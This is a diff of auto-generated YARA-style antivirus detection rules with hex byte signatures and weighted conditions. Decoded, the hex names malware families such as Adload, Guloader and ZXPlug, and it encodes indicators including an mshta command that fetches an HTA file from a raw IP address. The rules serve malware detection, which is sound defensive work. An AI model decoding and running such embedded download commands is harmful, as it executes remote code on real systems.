& 1)*884) >=3 } -rule _InfrastructureShared_8757{ +rule _InfrastructureShared_9291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93416,7 +99196,7 @@ rule _InfrastructureShared_8757{ ((#a_46_0 & 1)*16675+(#a_48_2 & 1)*9216) >=3 } -rule _InfrastructureShared_8758{ +rule _InfrastructureShared_9292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93428,31 +99208,43 @@ rule _InfrastructureShared_8758{ ((#a_77_0 & 1)*16675+(#a_74_1 & 1)*28531+(#a_6f_2 & 1)*29806) >=3 } -rule _InfrastructureShared_8759{ +rule _InfrastructureShared_9293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 5a 58 50 6c 75 67 00 01 00 1d 01 7a 78 70 6c 75 67 20 2d 61 64 64 20 67 65 74 78 78 78 20 63 3a 5c 78 79 7a 2e 64 6c 6c 01 00 21 01 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 } //18467 $a_5c_1 = {78 70 6c 75 67 01 00 16 01 53 68 61 72 65 53 68 65 6c 6c 20 49 50 20 50 6f 72 74 20 2d 6e 63 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 54 6f 72 6e 54 56 00 01 00 18 01 68 74 74 70 3a 2f 2f 77 65 62 61 70 70 2e 74 6f 72 6e 74 76 2e 63 6f 6d 01 00 23 01 63 3a 5c 64 65 } //28530 - $a_6f_2 = {6e 74 76 5c 52 65 6c 65 61 73 65 5c 54 6f 72 6e 54 56 41 70 70 2e 70 64 62 01 00 1a 01 54 00 6f 00 72 00 6e 00 54 00 56 00 41 00 70 00 70 00 2e 00 65 00 78 00 65 00 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4c 31 32 33 21 4d 54 42 00 01 00 23 81 01 6e 65 6c 6c 69 6b 65 73 20 6c } //23670 + $a_6f_2 = {6e 74 76 5c 52 65 6c 65 61 73 65 5c 54 6f 72 6e 54 56 41 70 70 2e 70 64 62 01 00 1a 01 54 00 6f 00 72 00 6e 00 54 00 56 00 41 00 70 00 70 00 2e 00 65 00 78 00 65 00 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 53 30 31 21 4d 54 42 00 01 00 2c 81 01 6c 6f 67 69 6b 70 72 6f 67 72 61 6d } //23670 condition: ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*28530+(#a_6f_2 & 1)*23670) >=3 } -rule _InfrastructureShared_8760{ +rule _InfrastructureShared_9294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 54 6f 72 6e 54 56 00 01 00 18 01 68 74 74 70 3a 2f 2f 77 65 62 61 70 70 2e 74 6f 72 6e 74 76 2e 63 6f 6d 01 00 23 01 63 3a 5c 64 65 76 5c 74 6f 72 6e 74 76 5c 52 65 6c 65 61 73 65 5c 54 6f 72 6e 54 56 41 } //18467 $a_70_1 = {62 01 00 1a 01 54 00 6f 00 72 00 6e 00 54 00 56 00 41 00 70 00 70 00 2e 00 65 00 78 00 65 00 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 } //28784 - $a_3a_2 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4c 31 32 33 21 4d 54 42 00 01 00 23 81 01 6e 65 6c 6c 69 6b 65 73 20 6c 6f 76 67 69 76 6e 69 6e 67 73 6d 61 67 74 73 20 75 64 6c 61 64 65 6e 64 65 01 00 0f 81 01 70 61 6e 74 68 65 6f 6e 69 7a 61 } //21587 + $a_3a_2 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 53 30 31 21 4d 54 42 00 01 00 2c 81 01 6c 6f 67 69 6b 70 72 6f 67 72 61 6d 6d 65 72 69 6e 67 65 72 73 20 69 6e 64 65 6c 75 6b 6b 65 73 20 62 6f 67 6d 61 72 6b 65 64 65 72 01 00 09 81 01 76 61 72 6d } //21587 condition: ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28784+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_8761{ +rule _InfrastructureShared_9295{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 53 30 31 21 4d 54 42 00 01 00 2c 81 01 6c 6f 67 69 6b 70 72 6f 67 72 61 6d 6d 65 72 69 6e 67 65 72 73 20 69 6e 64 65 6c 75 6b 6b 65 73 20 62 6f 67 6d 61 72 6b 65 64 65 72 01 00 09 81 01 76 61 72 } //18467 + $a_64_1 = {73 01 00 19 81 01 72 65 76 65 74 73 20 6b 6c 6c 69 6e 67 65 6b 6e 75 64 65 72 73 2e 65 78 65 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 4c 31 32 33 21 4d 54 42 00 01 00 23 81 01 6e 65 6c 6c 69 6b 65 73 20 6c 6f 76 67 69 76 6e 69 6e 67 73 6d 61 67 74 73 20 75 64 } //25965 + $a_65_2 = {64 65 01 00 0f 81 01 70 61 6e 74 68 65 6f 6e 69 7a 61 74 69 6f 6e 01 00 1a 81 01 61 78 6d 69 6e 73 74 65 72 20 61 6b 6b 76 69 73 69 74 69 6f 6e 65 72 6e 65 73 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 48 31 32 33 21 4d 54 42 00 01 } //24940 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25965+(#a_65_2 & 1)*24940) >=3 + +} +rule _InfrastructureShared_9296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93464,18 +99256,30 @@ rule _InfrastructureShared_8761{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_81_2 & 1)*1) >=3 } -rule _InfrastructureShared_8762{ +rule _InfrastructureShared_9297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 48 31 32 33 21 4d 54 42 00 01 00 17 81 01 68 6f 6c 64 6f 70 73 20 6e 6f 6e 61 72 74 69 63 75 6c 61 74 69 6f 6e 01 00 17 81 01 6f 63 68 6c 6f 6d 61 6e 69 61 20 6d 65 73 61 74 69 70 65 6c 76 69 } //18467 - $a_6b_2 = {73 6b 6e 69 6e 67 65 6e 20 73 6f 6e 6e 79 73 20 74 75 6d 62 6c 65 72 65 6e 73 00 00 78 85 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 63 61 72 65 43 72 6f 77 2e 47 21 4d 54 42 00 01 00 25 03 44 0f 11 7c 24 50 b8 02 00 00 80 48 8d 90 01 05 b9 2c 00 00 00 bf 01 00 00 00 e8 90 01 04 48 89 44 24 28 90 00 01 00 1d 03 48 8b 5c 24 68 48 8d 90 01 05 } //27649 + $a_6b_2 = {73 6b 6e 69 6e 67 65 6e 20 73 6f 6e 6e 79 73 20 74 75 6d 62 6c 65 72 65 6e 73 00 00 78 85 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 57 59 30 31 21 4d 54 42 00 01 00 25 81 01 62 65 73 69 64 64 65 6c 73 65 73 20 6c 65 6a 6c 69 67 68 65 64 73 76 69 73 74 20 70 61 6e 64 65 6b 61 67 65 73 01 00 0f 81 01 6b 77 61 6e } //27649 condition: ((#a_54_0 & 1)*18467+(#a_6b_2 & 1)*27649) >=3 } -rule _InfrastructureShared_8763{ +rule _InfrastructureShared_9298{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 57 59 30 31 21 4d 54 42 00 01 00 25 81 01 62 65 73 69 64 64 65 6c 73 65 73 20 6c 65 6a 6c 69 67 68 65 64 73 76 69 73 74 20 70 61 6e 64 65 6b 61 67 65 73 01 00 0f 81 01 6b 77 61 6e 20 66 79 6c 6c 61 } //18467 + $a_7a_1 = {01 00 1a 81 01 62 61 6e 6b 6e 69 6e 67 65 72 20 65 70 69 70 68 6c 6f 65 64 69 63 2e 65 78 65 00 00 78 85 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 63 61 72 65 43 72 6f 77 2e 47 21 4d 54 42 00 01 00 25 03 44 0f 11 7c 24 50 b8 02 00 00 80 48 8d 90 01 05 b9 2c 00 00 00 bf 01 00 00 00 e8 90 01 04 } //29472 + $a_24_2 = {90 00 01 00 1d 03 48 8b 5c 24 68 48 8d 90 01 05 48 89 c7 31 f6 45 31 c0 4d 89 c1 48 8d 90 01 05 e8 90 00 01 00 13 03 31 db 48 8d 90 01 05 48 89 c7 31 c0 66 90 01 01 e8 90 00 00 00 78 85 00 00 03 00 03 00 } //-30392 + condition: + ((#a_54_0 & 1)*18467+(#a_7a_1 & 1)*29472+(#a_24_2 & 1)*-30392) >=3 + +} +rule _InfrastructureShared_9299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93487,7 +99291,7 @@ rule _InfrastructureShared_8763{ ((#a_46_0 & 1)*21283+(#a_c7_1 & 1)*18437+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_8764{ +rule _InfrastructureShared_9300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93499,7 +99303,7 @@ rule _InfrastructureShared_8764{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_31_2 & 1)*12590) >=3 } -rule _InfrastructureShared_8765{ +rule _InfrastructureShared_9301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93511,7 +99315,7 @@ rule _InfrastructureShared_8765{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*15904+(#a_65_2 & 1)*21249) >=3 } -rule _InfrastructureShared_8766{ +rule _InfrastructureShared_9302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -93523,7 +99327,7 @@ rule _InfrastructureShared_8766{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*29550+(#a_00_3 & 1)*118) >=3 } -rule _InfrastructureShared_8767{ +rule _InfrastructureShared_9303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -93531,25 +99335,37 @@ rule _InfrastructureShared_8767{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 68 69 76 65 72 2e 44 21 64 68 61 00 01 00 1c 01 73 00 74 00 6f 00 6e 00 65 00 76 00 34 00 2d 00 6c 00 65 00 67 00 61 00 63 00 79 00 01 00 0c 01 77 6c 62 73 } //16675 $a_6c_1 = {64 6c 6c 01 00 12 01 73 71 6c 69 74 65 33 5f 70 72 65 70 61 72 65 5f 76 34 01 00 09 01 40 43 72 79 70 74 6f 50 50 00 00 78 85 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 72 61 75 64 69 6e 74 00 01 00 04 01 2e 64 61 74 01 00 14 01 2e 70 72 69 63 65 6a 73 2e 6e 65 74 2f 64 65 61 6c 64 6f 2f 01 00 1b 01 5c 43 53 63 72 69 } //29795 $a_65_2 = {65 90 02 20 65 3a 76 62 73 63 72 69 70 74 90 00 01 00 22 01 72 65 71 75 69 72 65 73 20 61 6c 6c 20 62 72 6f 77 73 65 72 73 20 74 6f 20 62 } //29808 - $a_6c_3 = {73 65 64 00 00 03 00 78 85 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 77 69 72 6c 77 69 6e 64 00 01 00 0c 01 46 49 47 59 45 4c 4d 45 5a 54 45 54 01 00 12 01 47 4c 45 47 45 53 45 4e 20 4d 45 47 53 45 4d 4d 49 53 01 00 0e 01 76 69 73 73 7a 61 73 7a 65 72 } //8293 + $a_6c_3 = {73 65 64 00 00 03 00 78 85 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 39 32 00 01 00 09 80 01 4c 6f 67 69 6e 54 6f 6f 6c 01 00 0d 80 01 4c 6f 67 69 6e 54 6f 6f 6c 2e 65 78 65 01 00 10 80 01 4c 6f 67 69 6e 54 } //8293 condition: ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29795+(#a_65_2 & 1)*29808+(#a_6c_3 & 1)*8293) >=3 } -rule _InfrastructureShared_8768{ +rule _InfrastructureShared_9304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 46 72 61 75 64 69 6e 74 00 01 00 04 01 2e 64 61 74 01 00 14 01 2e 70 72 69 63 65 6a 73 2e 6e 65 74 2f 64 65 61 6c 64 6f 2f 01 00 1b 01 5c 43 53 63 72 69 70 74 2e 65 78 65 90 02 20 65 3a 76 62 73 63 72 69 70 74 90 00 01 00 22 01 } //18467 - $a_75_1 = {72 65 73 20 61 6c 6c 20 62 72 6f 77 73 65 72 73 20 74 6f 20 62 65 20 63 6c 6f 73 65 64 00 00 03 00 78 85 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 77 69 72 6c 77 69 6e 64 00 01 00 0c 01 46 49 47 59 45 4c 4d 45 5a 54 45 54 01 00 12 01 47 4c 45 47 45 53 45 4e 20 4d 45 47 53 45 4d 4d 49 53 01 00 } //25970 - $a_69_2 = {73 7a 61 73 7a 65 72 65 7a 6e 69 01 00 17 01 4b 61 74 74 69 6e 74 73 6f 6e 20 69 64 65 20 61 7a 20 61 6b 74 69 76 01 00 08 01 53 5a 45 4c 56 45 53 5a 00 00 78 85 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 21 4d 53 52 00 01 00 20 80 01 4d 73 48 54 41 20 68 74 74 70 3a } //270 - $a_38_3 = {2e 37 30 2e 31 38 34 2e 33 39 2f 6d 2e 68 74 61 01 00 0d 80 01 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 01 00 08 80 01 74 65 73 74 2e 65 78 65 01 00 } //12079 + $a_75_1 = {72 65 73 20 61 6c 6c 20 62 72 6f 77 73 65 72 73 20 74 6f 20 62 65 20 63 6c 6f 73 65 64 00 00 03 00 78 85 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 39 32 00 01 00 09 80 01 4c 6f 67 69 6e 54 6f 6f 6c 01 00 0d 80 01 4c 6f 67 69 6e 54 6f 6f 6c 2e 65 78 } //25970 + $a_6f_3 = {69 6e 54 6f 6f 6c 28 26 41 29 2e 2e 2e 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 85 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //384 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25970+(#a_69_2 & 1)*270+(#a_38_3 & 1)*12079) >=3 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25970+(#a_6f_3 & 1)*384) >=3 } -rule _InfrastructureShared_8769{ +rule _InfrastructureShared_9305{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 39 32 00 01 00 09 80 01 4c 6f 67 69 6e 54 6f 6f 6c 01 00 0d 80 01 4c 6f 67 69 6e 54 6f 6f 6c 2e 65 78 65 01 00 10 80 01 4c 6f 67 69 6e 54 } //16675 + $a_28_1 = {41 29 2e 2e 2e 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 85 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 77 69 72 6c 77 69 6e 64 00 01 00 0c 01 46 49 47 59 45 4c 4d 45 5a 54 45 54 01 00 12 01 47 4c 45 47 45 53 45 4e } //28527 + $a_47_2 = {45 4d 4d 49 53 01 00 0e 01 76 69 73 73 7a 61 73 7a 65 72 65 7a 6e 69 01 00 17 01 4b 61 74 74 69 6e 74 73 6f 6e 20 69 64 65 20 61 7a 20 61 6b 74 69 76 01 00 08 01 53 5a 45 4c 56 45 53 5a 00 00 78 85 00 00 04 } //19744 + $a_41_4 = {46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 21 4d 53 52 } //8448 F:TrojanDownloader:Win32/Adload!MSR + condition: + ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*28527+(#a_47_2 & 1)*19744+(#a_41_4 & 1)*8448) >=3 + +} +rule _InfrastructureShared_9306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -93558,49 +99374,76 @@ rule _InfrastructureShared_8769{ $a_74_1 = {69 6e 74 73 6f 6e 20 69 64 65 20 61 7a 20 61 6b 74 69 76 01 00 08 01 53 5a 45 4c 56 45 53 5a 00 00 78 85 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 21 4d 53 52 00 01 00 20 80 01 4d 73 48 54 41 20 68 74 74 } //19201 $a_2f_2 = {38 35 2e 37 30 2e 31 38 34 2e 33 39 2f 6d 2e 68 74 61 01 00 0d 80 01 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 01 00 08 80 01 74 65 73 74 2e 65 } //14960 $a_00_3 = {0c } //25976 - $a_2a_4 = {41 50 72 6f 6a 65 63 74 31 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 41 67 65 6e 74 2e 41 4a 4b 00 01 00 06 01 46 55 43 4b 46 46 } //384 + $a_2a_4 = {41 50 72 6f 6a 65 63 74 31 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 58 30 31 21 4d 54 42 00 01 00 0c 81 } //384 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*19201+(#a_2f_2 & 1)*14960+(#a_00_3 & 1)*25976+(#a_2a_4 & 1)*384) >=3 } -rule _InfrastructureShared_8770{ +rule _InfrastructureShared_9307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 21 4d 53 52 00 01 00 20 80 01 4d 73 48 54 41 20 68 74 74 70 3a 2f 2f 31 38 35 2e 37 30 2e 31 38 34 2e 33 39 2f 6d 2e 68 74 61 01 00 0d 80 01 } //16675 - $a_72_1 = {70 74 2e 53 68 65 6c 6c 01 00 08 80 01 74 65 73 74 2e 65 78 65 01 00 0c 80 01 40 2a 5c 41 50 72 6f 6a 65 63 74 31 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 41 67 65 6e 74 2e 41 4a 4b 00 01 00 06 01 46 55 43 4b 46 46 01 00 10 01 49 6e } //21335 - $a_6e_2 = {74 52 65 61 64 46 69 6c 65 01 00 17 01 64 6f 6e 27 74 20 63 72 61 63 6b 20 6f 6b 3f 20 70 6c 65 61 73 65 21 01 00 1f 01 53 65 74 73 6f 63 6b 6f 70 74 20 53 4f 5f 53 4e 44 54 49 4d 45 4f 20 45 72 72 6f 72 2e 2e 2e 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e } //25972 + $a_72_1 = {70 74 2e 53 68 65 6c 6c 01 00 08 80 01 74 65 73 74 2e 65 78 65 01 00 0c 80 01 40 2a 5c 41 50 72 6f 6a 65 63 74 31 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 58 30 31 21 4d 54 42 00 01 00 0c 81 01 76 65 6a 72 73 } //21335 + $a_6c_2 = {69 74 01 00 1a 81 01 62 61 73 73 61 6c 69 61 20 73 6b 61 6e 64 61 6c 65 72 73 20 74 75 70 6c 65 73 01 00 0e 81 01 64 69 73 73 65 6e 73 65 6e 73 2e 65 78 65 01 00 0e 81 01 73 79 6c 74 65 6b 72 75 6b 6b 65 72 6e 65 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c } //29793 + $a_65_3 = {41 67 65 6e 74 2e 41 4a 4b 00 01 00 06 01 46 55 43 4b 46 46 01 00 10 01 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 01 00 17 01 64 6f 6e 27 74 20 63 72 61 63 6b 20 6f 6b 3f 20 70 6c 65 61 73 65 21 01 00 1f 01 53 65 74 73 6f 63 6b 6f 70 74 20 53 4f 5f 53 4e 44 54 49 4d 45 4f 20 45 72 72 6f 72 2e } //24943 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21335+(#a_6e_2 & 1)*25972) >=4 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21335+(#a_6c_2 & 1)*29793+(#a_65_3 & 1)*24943) >=4 } -rule _InfrastructureShared_8771{ +rule _InfrastructureShared_9308{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 58 30 31 21 4d 54 42 00 01 00 0c 81 01 76 65 6a 72 73 61 74 65 6c 6c 69 74 01 00 1a 81 01 62 61 73 73 61 6c 69 61 20 73 6b 61 6e 64 61 6c 65 72 73 20 74 75 70 6c 65 73 01 00 } //18467 + $a_64_1 = {73 } //-32498 s + $a_73_2 = {6e 73 2e 65 78 65 01 00 0e 81 01 73 79 6c 74 65 6b 72 75 6b 6b 65 72 6e 65 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 41 67 65 6e 74 2e 41 4a 4b 00 01 00 06 01 46 55 43 4b 46 46 01 00 10 01 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 01 00 17 01 64 6f 6e 27 74 20 } //25971 + $a_63_3 = {20 6f 6b 3f 20 70 6c 65 61 73 65 21 01 00 1f 01 53 65 74 73 6f 63 6b 6f 70 74 20 53 4f 5f 53 4e 44 54 49 4d 45 4f 20 45 72 72 6f 72 2e 2e 2e 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 42 4b 00 01 00 08 01 } //29283 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32498+(#a_73_2 & 1)*25971+(#a_63_3 & 1)*29283) >=4 + +} +rule _InfrastructureShared_9309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 41 67 65 6e 74 2e 41 4a 4b 00 01 00 06 01 46 55 43 4b 46 46 01 00 10 01 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 01 00 17 01 64 6f 6e 27 74 20 63 72 61 63 6b 20 6f 6b 3f 20 70 6c 65 61 73 65 } //18467 $a_73_2 = {63 6b 6f 70 74 20 53 4f 5f 53 4e 44 54 49 4d 45 4f 20 45 72 72 6f 72 2e 2e 2e 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 42 4b 00 01 00 08 01 07 09 08 1f 1f 5f 62 60 01 00 1a 03 17 64 17 59 13 90 01 01 18 11 90 01 01 17 5f 60 11 90 01 01 1f 1f 5f 62 90 00 01 00 } //25939 - $a_6e_3 = {11 90 01 01 5a 1f 3f 5f 62 60 0d 11 90 01 01 17 58 90 00 01 00 13 01 1e 5a 1f 1f 5f 62 58 13 90 01 01 11 90 01 01 17 58 90 00 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 48 31 32 33 21 4d 54 42 00 01 00 0e 81 01 66 72 65 61 6b 20 66 6c 6f 72 65 74 75 6d 01 00 1b 81 01 66 61 63 69 6c 79 20 6b 6f 70 69 65 6e 20 70 68 69 6c 6f 73 6f 70 68 69 73 65 64 01 00 14 81 01 64 69 61 6c 79 73 65 72 65 74 20 6c 79 73 74 69 67 73 74 65 01 00 0a 81 01 6d 61 6e 67 6f 73 2e 65 78 65 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //790 + $a_6e_3 = {11 90 01 01 5a 1f 3f 5f 62 60 0d 11 90 01 01 17 58 90 00 01 00 13 01 1e 5a 1f 1f 5f 62 58 13 90 01 01 11 90 01 01 17 58 90 00 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4a 30 31 21 4d 54 42 00 01 00 11 81 01 70 61 73 6b 20 72 65 63 69 70 69 65 6e 74 65 72 73 01 00 13 81 01 64 75 6c 63 65 6c 79 20 66 6f 72 64 72 65 6a 65 6c 73 65 01 00 0d 81 01 6b 61 74 65 64 72 61 6c 73 2e 65 78 65 01 00 18 81 01 6f 76 65 72 73 6b 75 64 73 64 65 6c 69 6e 67 65 6e 5c 67 65 73 6a 66 74 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //790 condition: ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*25939+(#a_6e_3 & 1)*790) >=4 } -rule _InfrastructureShared_8772{ +rule _InfrastructureShared_9310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 42 4b 00 01 00 08 01 07 09 08 1f 1f 5f 62 60 01 00 1a 03 17 64 17 59 13 90 01 01 18 11 90 01 01 17 5f 60 11 90 01 01 1f 1f 5f 62 90 00 01 00 16 03 d2 6e 1e 11 90 01 01 5a 1f } //18467 - $a_60_1 = {11 90 01 01 17 58 90 00 01 00 13 01 1e 5a 1f 1f 5f 62 58 13 90 01 01 11 90 01 01 17 58 90 00 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 48 31 32 33 21 4d 54 42 00 01 00 0e 81 01 66 72 65 61 6b 20 66 6c 6f 72 65 74 75 6d 01 00 } //24383 - $a_66_2 = {63 } //-32485 c - 